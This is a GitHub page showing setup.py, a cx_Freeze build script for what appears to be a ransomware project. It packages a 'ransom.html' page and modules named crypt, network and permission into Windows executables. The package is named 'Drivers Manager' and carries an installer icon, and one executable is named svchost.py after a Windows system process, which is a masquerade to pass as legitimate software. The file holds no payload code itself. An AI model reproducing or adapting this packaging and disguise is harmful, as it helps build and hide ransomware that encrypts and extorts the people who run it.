-
Notifications
You must be signed in to change notification settings - Fork 5
/
setup.py
31 lines (28 loc) · 1008 Bytes
/
setup.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python
#coding:utf-8
import sys
from cx_Freeze import setup, Executable
path = sys.path
includefiles = ['assets/image.jpg', 'assets/ransom.html', 'assets/icon/windows-installer.ico']
includes = []
excludes = []
packages = ["modules/crypt", "modules/network", "modules/permission", "modules/system"]
options = {"path": path,
"include_files": includefiles,
"includes": includes,
"excludes": excludes,
"packages": packages
}
base = None
if (sys.platform == "win32"):
base = "Win32GUI"
setup(
name = "Drivers Manager",
version = "3.4",
options = {"build_exe": options},
executables = [Executable("main.py", base=base, icon="assets/icon/windows-installer.ico"),
Executable("vaccine.py", base=base, icon="assets/icon/vaccine.ico"),
Executable("GuiCounter.py", base=base),
Executable("crypt_init.py", base=base),
Executable("svchost.py", base=base)]
)